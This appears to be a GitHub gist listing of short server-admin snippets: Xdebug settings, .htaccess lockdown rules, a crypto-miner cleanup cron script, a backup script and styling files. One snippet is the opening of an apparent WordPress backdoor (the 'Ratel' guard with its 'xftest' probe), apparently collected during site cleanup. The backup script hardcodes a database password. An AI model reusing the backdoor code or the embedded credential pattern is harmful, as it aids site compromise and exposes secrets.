This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
zend_extension=xdebug.so | |
xdebug.remote_connect_back = 1 | |
xdebug.default_enable = 1 | |
xdebug.remote_autostart = 1 | |
xdebug.remote_enable = 1 | |
xdebug.remote_port = 9000 | |
xdebug.remote_handler = dbgp | |
xdebug.max_nesting_level = 500 | |
xdebug.idekey = PHPSTORM | |
;xdebug.profiler_enable_trigger = 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// APPEND into the class you wanna test. | |
/** @var array */ | |
private $time; | |
private function initTimeMeasurement() { | |
$now = new \DateTimeImmutable('now'); | |
$this->time = []; | |
$this->time[] = [ | |
'time' => $now, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// crontab -e -> | |
// 1 * * * * php /home/core/clean_cryptocurrency_activity.php >> /var/log/cryptocurrency_activity.log 2>&1 | |
// Don't forget to add the file to logrotate!! (or delete it periodically) | |
$date = new DateTime("now"); | |
$dateString = $date->format("Y/m/d-H:i:s"); | |
$needToClean = false; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Turn off all options we don't need. | |
Options None | |
Options +FollowSymLinks | |
# Set the catch-all handler to prevent scripts from being executed. | |
SetHandler YouShallNotPass | |
<Files *> | |
# Override the handler again if we're run later in the evaluation list. | |
SetHandler YouShallNotPass | |
</Files> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php if (!class_exists('Ratel')) { | |
if (function_exists('is_user_logged_in')) { | |
if (is_user_logged_in()) { | |
return FALSE; | |
} | |
} | |
if (isset($_REQUEST['xftest'])) { | |
die(pi() * 6); | |
} | |
@ini_set('display_errors', 0); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
RewriteEngine on | |
#if the file does not have one of theses extensions | |
RewriteCond %{REQUEST_URI} !\.(png|jpg|jpeg|gif|js|css|zip|pdf)$ | |
#then it should be marked as forbidden. | |
RewriteRule .*$ - [F] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @file | |
* Fichero de funcionalidad de módulo de lowercase. | |
*/ | |
define("LOWERCASE_BY_DEFAULT", 0); | |
define("LOWERCASE_CACHE_PREFIX", "idn_lw1_"); | |
define("LOWERCASE_CACHE_PREFIX_2", "idn_lw2_"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#plano_real[name="Línea 1"] { | |
line-color: #30a3dc; | |
} | |
#plano_real[name="Línea 2"] { | |
line-color: #cd031f; | |
} | |
#plano_real[name="Línea 3"] { | |
line-color: #ffe114; | |
} | |
#plano_real[name="Línea 4"] { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# DATOS | |
WEB_ROOT=/apps/ | |
BACKUP_ROOT=/home/core/backups | |
DB_USER=backup #Permiso para SELECT y LOCK TABLES | |
DB_PASSWORD=b4ckup | |
DAYS_FOR_BACKUP=100 | |
DATE=$( date -I ) |
NewerOlder